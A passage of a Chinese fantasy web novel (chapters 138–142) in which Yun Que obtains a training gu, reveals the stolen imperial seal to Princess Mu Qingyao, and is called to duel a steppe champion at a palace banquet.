第138章 热乎乎的恶人榜 剥皮蛊的消息,对云缺来说是一份契机。 七品武者的修炼根本,是将肉身打熬到接近完美,才有机会踏入下一个大境界。 血肉的强大,不仅要依靠灵气与灵药,更需要武者不断去调动血肉来加以强化。 而调动血肉的最佳方式,便是切磋打架。 只有在战斗中不断调动血肉之力,不断受伤,才是真正意义上的打熬肉身。 受伤之后的恢复过程,是武者之躯必须经受的熬炼,类似淬炼刀剑,需要不断以铁锤击打,将剑坯最弱的部分夯实到完美,才能打造出真正锋利的武器。 天下武夫,从来没有不打架的,或许境界低微的时候可以自行修炼武道一途,一旦超过八品,若从不与人切磋,很难再进一步。 修武一途,说白了,就是淬炼刀剑过程的展现。 云缺深知这个道理。 剥皮蛊的功效听起来骇人,只要穹音没说谎,便一定有效。 剥皮蛊会让肉身缓慢的流失血肉,相当于持续受创,只要本体恢复的速度够快,即可源源不断蕴化出新的血肉,用好的话,剥皮蛊几乎是一种专门为七品武者量身打造的炼体奇物! 剥皮蛊或许不太昂贵,但这种罕为人知的炼体手段,绝非用金钱能买到的。 云缺当场同意下来。 穹音负责提供剥皮蛊,云缺将举荐名额送给穹舞。 交易达成,双方各取所需,皆大欢喜。 云缺看了看天色,决定出去一趟,今晚就把穹舞接到学宫,免得夜长梦多。 皇城里最近乱象不断。 云缺觉得自己头顶的乌纱说不准哪天就飞了,趁着官职尚在,把穹家姐妹的事办完。 现在搜查皇城的是刑部的人,提刑官的身份没人敢多管,等没了官职或者禁军开始搜查,那才麻烦。 得知今晚即可与妹妹团聚,穹音的眼中闪烁起惊喜的光泽。 没再多说感谢的话语,穹音突然贴近,紧紧抱住云缺。 美人投怀送抱,当然是一桩美事,任谁都会心里高兴甚至会有点得意。 然而云缺心如止水。 他能感受到穹音的两只手,十分用力的同时,在微微颤抖。 这个关押在天牢三年的女人,其实并没有外表看起来那么坚强,正如穹音所言,她也曾像个公主。 可覆灭的家门,天降的横祸,让她不得不将自己变得坚强,变得冷血。 或许只有在信任之人的面前,她才能稍稍透露出自己的本心,展现出柔弱的一面。 云缺缓缓抬起手,在对方瘦削的肩头轻轻拍了拍。 很快,穹音恢复正常,俏脸上挂起那份有些阴冷的轻轻笑意,道: “我去做一件面具遮挡容貌,学宫里就没人知道天牢的假死一事了,等穹舞回来,她依然还是舞仙子。”彡彡訁凊 云缺点点头,对穹音的谨慎十分满意,道: “有你这个姐姐,是穹舞的福气。” “你想要么,想要的话,我也可以做你姐姐,我年纪本就比你大一些。”穹音道。 “不要!这辈子都不要姐姐!” 云缺忽然懊恼起来,气呼呼的朝学宫外走去。 一提姐姐俩字,云缺就觉得瘆得慌。 第139章 学宫之敌 得知灵芸郡主的来意,木安哪敢怠慢,忙不迭的前面带路。 来到云缺的房间后,木安敲了敲门,里面只有呼噜声。 为了不让郡主久等,木安推开门,随后被吓了一跳。 连着牧青瑶也为之一惊。 云缺的睡相,牧青瑶见过多次,还是那般四仰八叉,睡得豪迈又大气。 牧青瑶觉得自己这辈子肯定睡不出云缺这种模样了,简直跟猪差不多。 让牧青瑶惊讶的,是床榻旁的地上,跪着个人! 看模样好像跪了一宿,以头触地,乍一看还以为这位正在磕头,只是一动不动。 尤其这人牧青瑶还认得,正是负易! 木安很快反应过来,尴尬的挠头解释道: “是炼尸,先生炼制的,送给云师弟修炼用,郡主自便,我先走了。” 牧青瑶颔首道谢,独自走进云缺的房间。 仔细瞧了瞧炼尸负易,牧青瑶觉得十分新奇。 简直与活人一般无二! 如果木安之前没解释的话,牧青瑶还以为负易在给云缺请罪。 目光落在床榻的身影,牧青瑶展颜而笑,绝美的脸庞如同梨花绽放。 “起床啦,该上朝了。” 牧青瑶轻轻推了推云缺。 “上什么朝,我还上天呢……呼噜……” 云缺发出一句模糊的梦呓。 牧青瑶听得掩口轻笑,随后神色一正,故作惊讶道:“呀!谁的银子掉了?” “我的!” 云缺两脚不动,上身直接坐了起来,揉揉眼睛才发现牧青瑶站在面前。 “郡主怎么来了?”云缺道。 “昨晚草原别吉到了天祈,今日大朝会,草原使团正式面圣,群臣必须上朝才行,我来寻你一起去早朝。”牧青瑶背着小手道明来意。 云缺闻言也想了起来。 昨天黄昏的时候刑部里好像有人叨咕过这件事,当时忙着救人,云缺只是听了一耳朵,没去关注。 “承蒙郡主抬爱,微臣能与郡主同行实在受宠若惊。”云缺一边穿鞋子一边打趣道。 “是么,之前与我同榻而眠的时候,怎么没见你受宠若惊。” 牧青瑶轻轻哼了声,做出一副女儿家娇羞愠怒的俏皮模样。 一缕朝阳从窗外映来,将灵芸郡主的俏脸染上一层光晕,犹如出水的莲花,圣洁无暇。 云缺一时看得呆了。 真美! “看什么呢,穿衣啦。” 牧青瑶拿过散落一旁的外套,帮云缺穿好,如此亲昵的举动像极了服侍少爷的贴身丫鬟。 “让郡主殿下服侍更衣,阜南王若是知道了,会不会揍我?”云缺道。 “你猜呢!”牧青瑶调皮一笑。 时间尚早,云缺没有立刻出门,而是关好了门窗。 并神神秘秘的招呼牧青瑶来自己被窝。 “做什么?”牧青瑶狐疑道。 “给你看个好东西。” 云缺说着从被窝里摸出个小盒子,道:“这可是真正的宝贝!世上除了你灵芸郡主之外,我不会给第二个人看。” 牧青瑶听得好笑,学着云缺刚才的语气道: “承蒙云大人抬爱,能让我一起观宝,实在受宠若惊。” “不信是吧,今天本官就让郡主开开眼界,看一看是不是大晋的至宝。”云缺说着打开盖子。 牧青瑶原本以为云缺在与她玩闹,结果看到盒子里的东西后,笑容瞬间消失。 “玉玺!” 牧青瑶瞪大了美目,确认一番后,惊疑道:“玉玺怎么会在你手里?” “悟心崖,圣人遗迹后面找到的,当时我与屠苏满申切磋,将字块岩石弄掉了两个。”云缺将找到玉玺的经过简单道出。 “玉玺居然藏在悟心崖!到底是谁干的?”牧青瑶诧异道。 “皇宫凶杀案,死了个宫娥那件事,你听说了吧。”云缺道。 “有所耳闻,具体情况不得而知。”牧青瑶道。 “我猜那凶手真正的目的不是杀掉宫娥,而是盗取玉玺,并且得手,最后被那宫娥撞见才下了杀手,事后伪装成妖物杀人的模样。”云缺道。 “很有可能。”牧青瑶点头道。 “本来我以为捡到了宝贝,还给皇帝能换来天大的好处,结果成了烫手的山芋。”云缺道。 “为什么?你直接说明在悟心崖找到的玉玺即可,如果陛下不信,我给你作证。”牧青瑶道。 “晚了,前些日子皇帝曾经召见我,下了道密旨,让我去学宫寻找玉玺,如果把玉玺交出去,我容易人间蒸发。”云缺随手掂量着玉玺道。 牧青瑶闻言后,秀眉渐渐蹙起,沉吟不语。 “你们大晋的皇帝,不怎么样嘛,封了我的官儿,就拿我当棋子,最是无情帝王家啊。” 云缺感叹道:“过阵子再去面壁的时候,我把玉玺藏回去,就当没见过,除了我和藏玉玺的凶手,估计没人敢去悟心崖擅自挪动圣人字迹。” “不用藏起来,你将玉玺交给皇帝,今天就交出去。”牧青瑶道。 “交出去?我还没活够呢,你不会以为皇帝得了玉玺,就能让我活着吧,早晚会灭口。”云缺笃定的道。 “只要时机恰当,你非但不会被灭口,反而会有重赏!” 牧青瑶明亮的眼眸里闪烁着睿智的光芒,解释道: “今日草原别吉面圣,是来联姻的,草原使团百人之多,按照常规,异国公主嫁给大晋皇帝,陛下必定要加封,并回馈重礼与安抚的圣旨,让草原使团带回部族,这份圣旨必须有玉玺加盖才行,是代表两国和平的重要之物。” “若没有玉玺,即便圣旨是陛下亲笔,草原人也不会认的,只能惹来更大的争端,所以今天的大朝会,玉玺存在与否,至关重要!” “如果陛下一直拖着不册封宾妃,草原一方会觉得大晋皇帝孤傲自大,没将草原人放在眼里,趁机口诛笔伐,甚至刀兵相见,最不济也能四处宣扬诋毁晋国,怎么看都对大晋不利。” “草原别吉恰逢玉玺丢失之际抵达,这件事存在蹊跷,我怀疑那盗取玉玺之人,有可能与草原人有关,甚至就是草原人所为!目的,是为了今天的逼宫。” “所以今天的大朝会,陛下其实极为被动,没有玉玺,便难以册封宾妃,陷入两难之地,如果此时交出玉玺,即可四两拨三千,消弭掉来自草原的一次危机。” 牧青瑶语速极快,分析出成破利害,讲得条条是道。 云缺听完不由得佩服灵芸郡主的心智,但自己好像没什么好处。 “那我呢,草原危机解除了,我还得被灭口啊。”云缺道。 牧青瑶微笑着伸出一根纤细葱白的玉指,道:“你只需多说一句话,即可逢凶化吉。” “请郡主赐教。”云缺道。 “你就说……” 牧青瑶将声音低沉了一些,模仿云缺的语气道:“微臣奉旨,已将陛下存放于学宫吸取天下文气的玉玺取回,现完璧归赵!” 云缺听完,立刻竖起大拇指,赞道: “郡主聪明!这招借坡下驴实在高明!” 按照牧青瑶的办法,当着满朝文武的面,将玉玺呈上,并且就说玉玺是皇帝自己放在学宫吸取天下文气的,这样一来皇帝就算有心灭口也无能为力,哑巴吃黄连,有苦说不出。 否则真要杀了云缺,那么群臣就会联想到玉玺这件事,从而猜忌不断。 牧青瑶现出小小的得意,笑道: “不是借坡下驴,而是以攻为守,三十六计第三十计,反客为主。” 云缺点点头,唏嘘道: “多看书还是有好处啊,过阵子我去找马小脚,把他家的藏书全借来看个遍。” “我府上有很多藏书,你可以随时去看。”牧青瑶道。 “都带图的么?”云缺顺口说出真正目的。 “字多,图很少的,为什么总喜欢看图呢。”牧青瑶不解道。 “呃……图看起来比较直观嘛,呵呵。” 云缺以笑声掩饰自己的尴尬,取出包好的蜘蛛牙交给牧青瑶。 “郡主帮我解围,咱也不能小气,答应你的东西拿到了,可惜白玉蜘蛛只有两颗牙,太少了。” 牧青瑶收下后,道: “我有一颗足矣,蛛牙能炼制成法器,若附加材料足够好的话,有机会达到极品程度,剩下的一颗白玉蛛螯牙,我帮你去灵匠殿打造成法器,其余材料我来出,你想要什么样的武器。” “刀,不需要太锋利,结实就行,百斤左右。”云缺不客气的道。 牧青瑶点头记下,并将一万五千两银票交给云缺。 这是之前承诺过的价格。 一颗白玉蛛螯牙的市价,差不多一万两,牧青瑶多给了五成。 云缺自然乐得收下,但另一份承诺,人家现在不肯兑现,得日后再说。 带上玉玺,两人走出西楼。 清晨的百花殿能看到不少学子,有的在草坪上散步,有的在僻静处读书,有的在修炼新掌握的功法,有的在互相招呼着打打闹闹,也有人蹲在饭堂门口等开饭。 当然这种饿狗般的举动,只有屠苏和满申能做得出来。 南楼之上,一扇窗被推开。 穹舞终于睡了一夜好觉,慵懒而满足的小脸儿上焕发出光泽,趴在窗口呼吸着清晨的新鲜空气。 戴着狐脸面具的穹音站在窗口一旁,望向经过南楼的云缺。 “他旁边的是谁,生得好美。”穹音道。 “灵芸郡主,学宫十美之一,她是道山殿的学子,怎么来百花殿了呢。”穹舞疑惑道。 仿佛察觉到楼上投来的目光,在经过南楼之际,牧青瑶做出一个让云缺出乎预料的举动。 小郡主竟主动牵住了云缺的手。 自然而然,毫无羞涩,仿佛在彰显着自己的主权。 云缺当然不介意,正好趁机感受着小手儿的细腻,占足了便宜。 云缺这边不介意,周围的男学子们受不了了。 一个个瞠目结舌,木雕泥塑一般望着牵着手远去的两道背影。 过了好久,哀嚎声四起。 “昨晚舞仙子投怀送抱,今天灵芸郡主牵手!老天瞎眼了呀!怎么让如此禽兽混进学宫圣地!” “又是幻觉!我一定生病了,这两天总能看到幻觉!” “抢走了舞仙子,又勾走了灵芸郡主!他是什么妖孽啊!” “我不活了!我这就去死!谁也别拦着我!” “天不生云缺,学宫十美如长夜!天若生云缺,学宫十美遭大劫!苍天呐,开眼吧!把云缺劈死好不好!” “云缺!你是我今生之敌!你是学宫之敌!” 饭堂的早饭还没做好,云缺的事迹已经再一次轰动学宫。 云缺自己都没想到,去一次大朝会而已,自己竟成了学宫之敌。 第140章 拉你跳火坑 今日大朝会,格外热闹。 金銮殿内人头攒动。 今天并非上朝议事,而是皇帝设宴,为草原来的贵客接风洗尘。 从昨晚开始,御厨们连夜忙碌,大殿内此刻酒菜飘香。 云缺看到了不少老熟人。 太子殷宣,八山城将军苏鸿山,金吾卫指挥使白厌都在。 以云缺的官职,只能坐在最后面,旁边是陈洲骅犁术等一众刑部官差。 牧青瑶的位置则在最前面,与当朝首辅,六部尚书等一众大员坐在一起。 皇帝尚未到来,群臣显得轻松,互相攀谈着,有说有笑。 大殿内的人群明显出现两极化。 文官的酒桌,都在温文尔雅的面带微笑,轻声谈笑,金句迭出,妙语连珠。 武官的酒桌,则是大大咧咧,坐没坐相,大声笑骂,简直如同进了菜市场。彡彡訁凊 一群武夫坐在一起,能有什么好模样。 陈洲骅与一众同僚谈论起皇城新开的一座青楼,说到高兴处嘎嘎怪笑,他嗓门儿又大,简直像一只鸭子闯进了金銮殿,听得远处的文官们直皱眉。 云缺一边听着陈洲骅的怪笑,一边盯着桌上的美味佳肴。 丰盛! 实在太丰盛了! 全是没吃过的山珍海味,以云缺估计,这一桌子菜没有三百两银子绝对下不来。 越看越饿,见别人没动筷,云缺先抓起一只蒸熊掌啃了起来。 他一口下去,周围众人的谈笑声立刻消失,纷纷目光惊讶的盯着云缺看。 “趁热吃啊,待会儿凉了。” 云缺好心的提醒道。 陈洲骅就坐在旁边,他很快反应过来,一把抢过云缺手里的熊爪,翻个面放回了盘子上。 动作极快,甚至出现了残影,竟用出修为。 “咳咳,刚才说到哪了?对了,新开那家青楼实在不错,大家没事儿都去乐呵乐呵。” 陈洲骅语气尴尬的道。 周围的刑部众人立刻明白过来,从新开始谈笑,气氛这才恢复。 随后陈洲骅压低声音在云缺耳边道: “陛下没来咱们不能先吃,这是皇宫里的宴席,有规矩的。” 云缺恍然大悟,道了声谢。 谁知道设个宴还这么多规矩,皇家果然事儿多,云缺腹诽了一句。 本来是个小小的插曲,周围都是刑部的人,大家就当没看见,也没人会说出去。 不怕没好事,就怕没好人。 云缺啃了口熊掌的一幕,被相邻一桌一名瘦高个子的中年人看在了眼里。 此人冷哼一声,起身来到近前,指着被云缺啃过的熊掌斥责道: “陛下设宴,你胆敢提前开吃,简直不将礼法放在眼里!扣你半月俸禄,以儆效尤!” 云缺顿时瞪起了眼睛,你谁呀上来就扣我银子? 陈洲骅急忙打圆场道: “牛大人消消气,他刚刚任职不久,不懂规矩,回去后我多多指点他一二也就是了。” 听陈洲骅说出牛大人,云缺立刻知道了对方的身份。 牛大空,礼部侍郎,官居三品。 礼部专门掌管五礼之仪,管理晋国科举、祠祭、筵飨、及藩属国往来之事,礼部下设四司,与刑部类似。 礼部侍郎与刑部侍郎上官鸿途平级,所以牛大空对陈洲骅毫不客气。 “你懂规矩?你们武夫粗鄙不堪,根本不懂礼法为何物!坐没坐相,站没站相,吃没吃相,等草原贵客到了,看到你们如此模样,定会认为我大晋不知礼节!成了人家的笑柄!” 训斥完陈洲骅,牛大空指着云缺的鼻子道:“半月俸禄三天内交到礼部,晚交一天便多罚你一天俸禄!” 说完,人家大袖一挥,回归座位。 云缺沉默了下来,回头四下看了看。 “找什么呢云大人?”陈洲骅狐疑道。 “找刀。”云缺面无表情的道。 “别别别!兄弟消消气,不就半个月俸禄嘛,犯不上置气。”陈洲骅劝道:“咱们刑部和礼部始终不对付,人家礼部是礼仪之地,最看不惯我们刑部一群武夫,况且人家是侍郎,官大一品压死人呐。” 云缺很想砍了那个牛大空。 别的惩罚无所谓,打板子都没问题,可一旦涉及到银子,那是云缺的命。 你可以打我骂我羞辱我,但你不可以扣我银子! 扣我银钱者,如杀我全家! 再看一桌美味,云缺没胃口了。 合着这趟皇帝设宴,我掏了半桌的钱! 牛大空坐在不远处,与同僚有说有笑,云缺注意到有人拿出玉佩让牛大空帮忙验看。 牛大空点评的时候摇头晃脑,大有一种指点江山之感。 这人应该酷爱美玉。 看出牛大空的爱好后,云缺渐渐微笑起来,摸了下怀里装着玉玺的小盒子。 老小子扣我钱是吧,等会儿拉你跳火坑! 此时大殿外走来一队人马。 草原使团到了。 队伍共有一百多人,其中有百名舞姬,模样靓丽,均穿着异域服装,十分显眼。 为首的一名女子格外美艳,小麦色的肌肤,身姿玲珑有致,穿得很清凉,纤细的腰肢在行走间宛若水蛇,吸引了所有人的目光。 此女子,便是草原别吉,名为吉安答。 在别吉身旁,跟随着一名身形瘦削的草原人,四旬上下,看起来有点弱不禁风,全无草原人的凶悍之气。 这人名叫忽疾,是草原使团的首领,负责护送别吉到天祈。 看到使团到了,牛大空立刻亲自迎接,礼仪十足,又是拱手又是作揖,客气得跟个孙子似的。 云缺觉得这家伙很像一条养歪了的狗。 对自家人龇牙乱吠,对外人点头哈腰。 云缺若是皇帝,肯定把这家伙送去草原,让牛大空去教教草原人礼仪。 撇了眼牛大空,云缺将目光落在别吉身上。 这女人确实很美,加上那身异域装扮更添了几分妩媚。 可不知为何, 云缺看到这位别吉的时候,总有一种奇怪的感觉。 仿佛那不是草原上尊贵的公主,而是从草丛里走来的一头狼! 妖? 云缺心里下意识地蹦出个妖字。 对方不是妖,没有任何妖气可言,甚至连修为都没有。 窈窕妩媚,落落大方。 但云缺就是有一种说不出来的古怪感觉。 这种感觉十分奇怪,又并不陌生,就像面对着妖物刚刚产下的蛋。 在尚未孵化之前,妖物蛋几乎没有妖气散发,看起来人畜无害,可一旦孵化出来,就是一头吃人的凶兽! 除了云缺之外,大殿内所有人都没发现任何异常之处。 别吉一路从草原而来,始终有边军护卫,在经过黑铁城的时候已经被查验一次,路上禁军交接又查验过,到了天祈皇城还会被仔细查看,直至进了皇宫,会再次经历一次彻底严查。 至少四次查验,足以证实这位别吉人畜无害。 况且在场的可不乏高手。 五品境界的武者有之,五品的道门修士与儒家修士亦有之。 云缺之所以会有如此感觉,其实更像一种直觉。 猎妖多年,斩妖数以万计之后才能拥有的特殊直觉! 不过云缺自己也说不出对方古怪在何处,只凭着感觉,说出去也没人会相信。 反正对方是来给皇帝当妃子的,皇帝死不死的,云缺才不在乎。 等草原使团落座后,皇帝殷子受缓步而来。 地位最高者,当然要最后入席。 随后是一番繁复的仪式,草原使团先拜见皇帝,那忽疾别看身子单薄,嘴皮子极好,先介绍了所属部族后再歌颂了一番晋皇,然后皇帝又表示了一番,给了不少封赏,但没提立刻纳妃之事。 云缺在后边等得都快睡着了,肚子饿得咕咕叫。 别的没怎么听,只知道别吉所在的部落叫做朱邪部。 殷子受面带微笑,示意使团可以落座了,并喝了第一杯酒,文武群臣这才敢动筷。 别看脸上在笑,殷子受此刻颇为不满,内心恼怒不已。 草原别吉联姻,当然是好事,代表着草原人在示弱。 可偏偏时机不好,玉玺丢了! 不加盖玉玺,就没法儿给草原使团传回圣旨。 人家是朝拜上邦大国而来,需要请回圣旨交给部族大汗,以示双方世代交好。 没有加盖玉玺的圣旨,根本无效! 与殷子受的焦急懊恼不同,群臣吃得热火朝天,尤其武夫那边,简直如饿狼闯进了羊圈,大口酒大口肉,胡吃海塞,就差没划拳了。 宴席刚开始,别吉缓缓起身道: “草原贫瘠,无甚重礼,小女子亲自为陛下献上飞天之舞,以助酒兴。” 殷子受点头允诺。 丝竹之音响起。 百名舞姬翩翩起舞,宛若百只蝴蝶般灵动,尤其别吉,裙裾飞扬,一舞飞天跳得精彩纷呈。 一群武夫看得眼睛都直了。 太子殷宣更紧紧捏着拳头,目光中非但没有男人的贪婪,反而充满了一种古怪的羡慕。 别人不懂太子,云缺当然知道太子此刻的心思。 殷宣肯定也想穿上舞裙,去跳上一舞。 云缺望向太子,一边吃一边直乐,心说你要敢在你老子面前穿裙子,皇帝就敢把你脑袋砍下来当球踢。 殷宣发现云缺在朝自己笑,立刻将眼里的期待隐藏下去,正襟危坐,做出一副太子该有的神态,并狠狠的瞪了眼云缺。 舞罢,百名舞姬纷纷退下。 别吉又命人献上从草原带来的美酒,经过禁军高手检验无毒后,被皇帝赏赐给群臣。 宴席的气氛愈发热闹起来,推杯换盏声络绎不绝,离席到别桌敬酒者大有人在。 云缺狼吞虎咽的吃饱后,见时机差不多了,起身来到牛大空旁边。 牛大空此时正给一位同僚点评玉佩。 “雕工上佳,必定出自名匠之手!单单这份雕工便价值连城,可惜玉质有一些瑕疵,否则绝对是无价之物!” “牛侍郎的鉴宝功夫了得啊,佩服佩服,这块玉确实有一丁点的瑕疵。” “呵呵,别的不敢说,观玉一道,我无需用眼睛,只要摸一摸即可确定玉品如何。” 牛大空正侃侃而谈之际,听到旁边传来客气的询问。 “牛大人,我手里有块玉,是家传的宝贝,您给摸摸看,值几个钱。” 第141章 有请刑部云大人 牛大空心情不错,同僚的赞许让他有点飘飘然。 乍一听到如此客气的说辞,想都没想立刻同意下来。 扭头一看,是刚才被他罚了半个月俸禄的刑部之人。 牛大空有点不高兴,皱起眉。 云缺面带笑容的道:“下官久闻牛大人乃是玉中伯乐,观玉如观马,大人帮忙给验一验,看看我这块玉是不是玉中的千里马。” 听到玉中伯乐四个字,牛大空得意起来,大手一挥道: “你这小门小户的,能有什么家传宝玉,拿出来我瞧瞧。” 云缺压低声音道: “大人,我这块玉有些特殊,见不得光,被阳光一照就得出现斑纹,不值钱了,您只能摸一下,以大人多年鉴玉的经验,一摸即可判断出是不是宝玉。” 牛大空惊奇起来,道: “还有这种玉?本官倒是头一次听闻,那好,我来摸一下看看。” 云缺连忙称好,从怀里掏出来个黑袋子,让牛大空将手伸进袋子里。 玉玺已经事先被调了个方向,侧面朝上,是平的,摸不出雕刻的痕迹。 牛大空摸了两把,皱起眉,惊疑道: “手感温润,又极其细腻,这是方极品好玉呀!” 云缺立刻收起袋子,笑道: “有大人这句话我就放心了,大人慢慢吃,下官告退。” 牛大空十分好奇那块玉,结果人家走了,他与云缺又不熟,只能作罢。 酒过三巡,使者忽疾起身朗声道: “陛下,我们草原不止有美人,还有勇士,飞天之舞代表着草原人的灵动,强壮的体魄则代表着草原人的勇猛!今日恰逢良机,朱邪部的勇士愿为陛下展现一番真正的武勇!” 说罢一招手,一名始终跟在忽疾身后的壮汉几步走到场中,高大的身躯犹如一尊铁塔。 殷子受缓缓颔首,道: “准了,让他表演吧。” 忽疾笑着摇了摇头,道: “我们草原的勇士不会表演,只会搏杀冲锋,还望陛下派遣一名大晋国的勇士,与我们草原人切磋一番。” 群臣纷纷停下吃喝,目光落在忽疾身上。 众人都知道该来的果然还是来了,草原人想试探大晋的武力,要给大晋来个下马威。 殷子受淡然而笑,道: “好!诸位爱卿,谁去与那位草原勇士较量一番。” 立刻有一群武夫纷纷请战,群情激昂。 草原人敢在大晋的皇宫里挑战,不给对方点颜色瞧瞧,晋国的武官岂不是饭桶。 武夫最不怕的就是切磋,很多人都想亲自上去教训教训草原人。 首辅周史伯此时起身,微笑道: “我晋国的将军们久经沙场,下手没有分寸,得找一位与其境界相当之人切磋,免得伤到这位勇士。” 众人听完纷纷暗自佩服。 当朝首辅果然厉害,一句话说得看似好意,实则将草原人先贬低了一遍。 忽疾哈哈一笑,道: “首辅大人多虑了!草原上的勇士常年在野外狩猎,时常被野狼野狗咬一口,受点小伤,不算什么。” 这话一出,群臣纷纷愤怒起来,连殷子受的脸色也不好看了。 周史伯贬低对方,用了‘怕伤到这位勇士’的说法,人家则反唇相讥,指桑骂槐,将大晋武者比喻成野狼野狗。 云缺在后边看着热闹。 今天算涨了见识,以前总听唇枪舌剑这个词,今天才知道,原来朝堂之上是当真存在唇枪舌剑的。 武夫打架拳拳到肉,文人斗口字字诛心! 周史伯神态如常,道: “草原上只有野狼野狗,算不得危险,而我大晋之内,卧虎藏龙!被狼咬一口没什么,若被龙咬一口,下场可就不妙了。” 忽疾闻言神色微变。 他是草原人不假,但没有任何修为,最大的特长便是言辞犀利,擅长诡辩,部族大汗任命他为使团首领,就是要借他之口,给大晋来个下马威。 不料在口舌交锋之上,他不敌大晋首辅。 云缺在最后面看了眼首辅周史伯,心说这老头儿有点东西啊,难怪能做到百官之首,不知与大燕的龙图阁大学士比较起来,孰高孰低。 忽疾的神色很快恢复,道: “既然上邦大国藏龙卧虎,人才济济,那便请一位七品武者,来与我草原勇士切磋。” 皇帝殷子受闻言刚要开口询问谁愿出战,却被周史伯一个眼神阻止。 看到首辅的目光,殷子受选择了闭嘴。 他知道周史伯的心智比他更深,肯定看到了他没看到的东西。 周史伯不紧不慢的道:“不知使者带来的这位草原勇士,是何修为呢。” “八品武夫!”忽疾傲然答道。 听到这话,云缺在心里嘀咕起来。 这个草原使者开始下套了,以八品挑战七品,那所谓的草原勇士肯定有着不为人知的能力,到了这种时候,当朝首辅即便明知是圈套,也得钻。 周史伯果然皱了下眉,语气如常的道: “切磋就该境界相当,若让我大晋七品武者去战一名八品修为的草原人,岂不是欺人太甚。” 忽疾好像就等着这句话呢,笑道: “上邦大国果然有气度!那好,就请首辅大人选一名最强的八品武者,与我草原勇士切磋一二!” 听到这里,云缺就知道大晋这边输定了。 除非找个如自己这般,在八品就有斩杀七品能力的武者,否则正常的八品武者,必败无疑。彡彡訁凊 草原人有备而来,大晋一方则毫无准备。 云缺将好奇的目光落在周史伯身上,打算瞧瞧这位当朝首辅如何化解这次危机。 这时候很多人都察觉到忽疾的目的,连殷子受也皱起眉,一时想不出太好的办法。 周史伯只是略一沉吟,便亲自点兵,朝着人群道: “御马监可在。” 人群后方立刻站起一名武官,拱手道:“微臣在此,大人有何吩咐。” 御马监是个官职,正五品,掌御厩马匹,地位不高,跟云缺一样在最后面坐着,说白了这位就是个养马的,在整个大殿内地位最低,连云缺这种天牢提刑官都比不过。 “我晋国以御马监,来领教领教草原勇士的身手。” 周史伯说完,直接落座,相当于下了命令。 他没提御马监的名字,只说官职,这一点也是心机所在。 周史伯已经料到这一局大晋必输,但输归输,如何输得不丢人,才叫能耐。 你们草原勇士不是厉害么,能以八品战七品,那我就出个养马的官儿跟你斗,你若赢了大可肆意宣扬,就说草原勇士打败了大晋的养马官,看看最后谁丢人。 忽疾的脸色变得不太好看了,冷哼一声,示意那草原勇士开始比斗。 随后场中空地上,两名八品武者拳脚相向,打得热火朝天。 云缺看着打斗,心里却暗暗佩服着当朝首辅的手腕。 这老头不是有点东西,而是足够厉害! 心机交锋能到这种地步,绝非常人能及,难怪是当朝首辅,没点能耐根本做不到这个位置。 输都输得毫不丢人,实在高明! 云缺不由得想起了田忌赛马这词儿,以最弱的马匹去对战敌人最强的马匹,虽败犹荣。 草原使团有备而来,结果聚集了全力的一拳,打在了棉花上。 大殿内,人们的目光纷纷汇聚在打斗的两人身上。 那位御马监并不弱,在八品武者当中足以位列前茅,看得出修为极其扎实。 起初两人还战成了平手,可打着打着,草原壮汉的手背与大脸上出现了异样。 一条条血管如青筋般隆起,同时本体力量也越来越大,御马监渐渐招架不住,最后被人家直接扛起来,扔出大门外。 呼! 御马监整个人如同风筝一般飞出数十丈远,砸在一群正要上菜的宫娥当中,顿时惨叫不断,鲜血四溅。 御马监有八品武者修为,扔出虽远却摔不死,多说重创。 可那些宫娥是普通人,没有修为,御马监的身体带着巨力,落下后好似一块巨石般,当场砸死三个宫娥。 看到出了人命,殷子受的脸色越发难看起来。 文武百官怒目相视,偏偏无言以对。 砸死人的,是那御马监。 若怪罪草原壮汉,显得大晋一方黔驴技穷,只剩小气。 云缺注意到那壮汉此刻浑身气血汹涌,整个人的气息比刚才要狂暴数倍。 这种程度的气血波动,唯有七品武者才能拥有! 他怎么做到的? 云缺很好奇,对方明明是八品气息,却能爆发出七品程度的气血之力,好像整个人的血液在燃烧一样。 草原壮汉哈哈一笑,狂声道: “刚才那玩意,我一个人能掐死十个!你们大晋是不是没人了?敢不敢来个七品武夫与我一战!” 草原人此刻图穷匕见,口舌交锋没占到便宜,直接开始玩横的。 明眼人都看得出来, 这个壮汉,相当于死士,那忽疾根本没打算让他活着,所以才借其之口喊出挑衅之言。 大晋一方没人开口。 这话接不了! 不是没有七品武者,而是一旦七品上去也败了,那大晋就不是让人笑话,而是颜面尽失! 忽疾没说话,四平八稳的坐在原位,自斟自饮起来。 见没人敢战,草原壮汉愈发猖狂,吼道: “怎么,你们大晋连七品武夫都没有吗,实在不行来个六品!老子今天就要杀个痛快!” 此言一出,一群武官坐不住了。 这等挑衅,实在让人火大! 当场就有多位七品武官请命出战。 殷子受没有立刻决定,而是望向周史伯。 周史伯再次起身,示意请战的众人退下,道: “草原勇士果然不凡,既然不尽兴,我大晋自然奉陪到底,不过这里的七品武官大多修炼多年,欺负一介八品,说出去,实在不太好听,不如让一位本月刚刚突破到七品的年轻人,陪这位勇士过两招。” 这话一说,已经有很多人看出了首辅的用意。 周史伯还是本着丢最少脸面的原则,要选一位刚刚突破七品的武将。 但很多人都不理解, 刚到七品,境界不稳,对方显然有着战败七品的实力,如果再输一局,还是丢人呐,不如找一位七品巅峰去挑战,那不就稳赢了。 在场的仅有一少部分人,看出了草原壮汉的特殊之处。 比如白厌与苏鸿山这种五品高手。 白厌此刻已经断定,那草原壮汉有着斩杀七品巅峰的能力! 白厌坐的位置,距离首辅不算远,他望向周史伯,打算将自己的判断告知对方,结果首辅根本没看他,而是望向人群最后方。 周史伯的目光,落在了云缺身上。 云缺正看热闹呢,见首辅看自己,心里一阵惊奇。 首辅的消息,够灵通的,连自己何时进阶七品都知道! 首辅投来的目光中,带着一种询问的意味,而且并未点名。 这一点,就让人觉得舒服了。 如果周史伯直接让云缺出战,云缺肯定找说辞推脱。 又不是我惹的麻烦,在场这么多武将,轮得到我么。 而周史伯能以当朝首辅的官位,做出询问的姿态,算是给足了尊重。 人家一品大员这么客气,云缺自然不能小气,于是点了点头。 周史伯随之微笑起来。 他并非只想将丢人的程度降到最低,才询问云缺,而是在周史伯看来,现在大殿里的所有七品武者,唯独云缺是最强的一个! 身为首辅,自然清楚云缺护送灵芸郡主回皇城一事。 更知道当时在五品境界的红莲教主面前,云缺能安然脱困,单单这一点,就足够证明云缺的本事。 周史伯此刻底气十足,朗声道: “有请刑部云大人,与草原勇士切磋一二!” 第142章 浴火武神 随着当朝首辅的一句话,金銮殿上所有人的目光同时汇聚在云缺身上。 皇帝殷子受抬起眼皮,神色变得不太自然。 